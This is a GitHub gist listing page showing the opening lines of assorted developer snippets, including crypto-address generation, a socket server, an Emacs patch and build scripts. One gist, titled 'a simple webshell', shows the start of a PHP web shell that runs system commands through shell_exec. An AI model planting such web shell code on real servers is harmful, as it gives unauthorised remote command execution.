Skip to content

Instantly share code, notes, and snippets.

View RyanKung's full-sized avatar
🏠
Working from home

Elder Ryan RyanKung

🏠
Working from home
View GitHub Profile
@weex
weex / gist:6435248
Created September 4, 2013 10:24
Generate Bitcoin and Litecoin address from same private key
#!/usr/bin/env python
# Joric/bitcoin-dev, june 2012, public domain
import hashlib
import ctypes
import ctypes.util
import sys
ssl = ctypes.cdll.LoadLibrary (ctypes.util.find_library ('ssl') or 'libeay32')
/**
* TUI::ui::slider
* @created: Dexter.Yy
* @modified: $Author$
* @version: $Rev$
*/
/**
* 滑块组件
* @class TUI.widget.slider
@hugozhu
hugozhu / douban.php
Created January 3, 2013 05:10
Raspberry Pi上听豆瓣电台的简易方法:sudo apt-get install mpg123 php5-cli,然后执行本程序即可
#!/usr/bin/env php
<?php
function fetch_page($url, $timeout = 5) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
@RyanKung
RyanKung / websocketServer.c
Created September 10, 2012 07:50
basic socket
#import <stdio.h>
#import <sys/socket.h>
#import <arpa/inet.h>
#import <stdlib.h>
#import <string.h>
#import <unistd.h>
#define MAXPENDING 5
void HandleTCPClient(int clntSocket);
@RyanKung
RyanKung / webshell.php
Last active March 22, 2022 05:19
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];
@ecarnevale
ecarnevale / fullscreen-24.diff
Created March 29, 2012 15:03
Add ns-toggle-fullscreen to Emacs 24
diff --git a/lisp/term/ns-win.el b/lisp/term/ns-win.el
index 084b62f..b7ed1a2 100644
--- a/lisp/term/ns-win.el
+++ b/lisp/term/ns-win.el
@@ -1267,6 +1267,10 @@ the operating system.")
(add-to-list 'window-system-initialization-alist '(ns . ns-initialize-window-system))
+(declare-function ns-toggle-fullscreen-internal "nsfns.m" ())
+(defun ns-toggle-fullscreen ()
@hrldcpr
hrldcpr / tree.md
Last active January 6, 2025 22:43
one-line tree in python

One-line Tree in Python

Using Python's built-in defaultdict we can easily define a tree data structure:

def tree(): return defaultdict(tree)

That's it!

@mbostock
mbostock / .block
Last active November 22, 2022 23:32
Line Transition
license: gpl-3.0
@henry0312
henry0312 / build-essential.sh
Created November 27, 2011 07:17
Build m4, autoconf, automake, libtool on Mac OS X Lion
#!/bin/sh
# 初期設定
WORK=$HOME/Builds/build-essential
PREFIX=$HOME/local
export PATH="$PREFIX/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin"
# ソースコードのダウンロード
if [ ! -d $WORK/src ] ; then
mkdir src
@chuangbo
chuangbo / README.md
Last active February 18, 2025 07:30
Python dynamic DNSPod DNS Script

替换上你的 API Token,域名ID,记录ID等参数,就可以运行了。 会在后台一直运行,每隔30秒检查一遍IP,如果修改了就更新IP。

获取 API Token 的方式

获得 domain_id 可以用 curl

curl -k https://dnsapi.cn/Domain.List -d "login_token=TOKEN"`